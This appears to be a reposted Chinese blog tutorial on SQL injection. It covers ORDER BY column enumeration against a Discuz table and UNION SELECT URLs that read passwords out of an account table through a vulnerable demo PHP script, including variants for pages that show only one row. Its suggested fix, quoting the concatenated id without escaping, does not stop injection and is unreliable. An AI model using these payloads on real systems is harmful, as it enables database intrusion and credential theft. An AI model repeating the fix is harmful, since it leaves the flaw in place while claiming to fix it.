SQL注入的几种实用办法
生活随笔
收集整理的這篇文章主要介紹了
SQL注入的几种实用办法
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
一、查詢表中包含有多少列: 這里以DISCUZ舉例說明,如下
select * FROM pre_forum_thread ORDER BY 80 返回,Unknown column '80' in 'order clause',這樣可以判定一定小于80列,下面再試用 39
select * FROM pre_forum_thread ORDER BY 39 正常返回了數據,我們判定一定大于等于39,因此只要再試一下40就可以了,這里略過試用,對于開源程序,我完全可以知道他就是有39列。 二、構造參數,讀取數據庫中的密碼 這里以本地創建的一個表為例,前提是參數沒有被過濾等操作,表 account 含有三個字段,分別為 id,admin,password 表內包含數據為:
1 admin 12345678
2 test 134545 創建PHP讀取數據庫文件 x.php:
<?php
$link = mysql_connect('127.0.0.1','root','11111111');
mysql_select_db('xtest',$link);
$id = isset($_GET['id'])?$_GET['id']:1;
$sql = "SELECT * FROM `account` WHERE id = " . $id;
$query = mysql_query($sql);
while($row = mysql_fetch_array($query)){
echo $row['admin'] . "<br/>";
}
?> 訪問地址?http://127.0.0.1/x.php?id=2 返回數據 test,到這里開始SQL的注入使用,構造參數后的地址
http://127.0.0.1/x.php?id=2 union select 1,2,3 from `account` where id=2 在返回數據中,發現2被返回了,因此,需要修改這里的2位置為想要的字段內容,比如說 password ,即地址修改為
http://127.0.0.1/x.php?id=2 union select 1,password,3 from `account` where id=2 執行地址后返回數據:
test
134545 這樣密碼就得到了。 當然這里只是簡單的舉例說明,沒有對密碼進行MD5加密,如果是MD5加密或其它加密的話,仍然需要接下來的破解,就不是這里主要講述的內容了。 此問題的解決辦法,說一個最簡單的吧 ,將SQL語句?$sql = "SELECT * FROM `account` WHERE id = " . $id; 修改為
$sql = "SELECT * FROM `account` WHERE id = '$id'";
三、在第二個問題中,發現用戶是使用了 while將所有數據進行循環得出的數據,如果用戶不是循環,而是直接輸出了最后一條數據怎么辦呢?
這時,只要將參數重新修改,就可以只返回union回來的數據了,如下
http://127.0.0.1/x.php?id=3 union select 1,password,3 from `account` where id=2
因為表里面沒有這條id=3的數據,又或者
http://127.0.0.1/x.php?id=2 and 1=2 union select 1,password,3 from `account` where id=2
這里很明顯 1和2是不相等的
總結
以上是生活随笔為你收集整理的SQL注入的几种实用办法的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Jq remove的使用
- 下一篇: WIN SERVER8更改MYSQL的d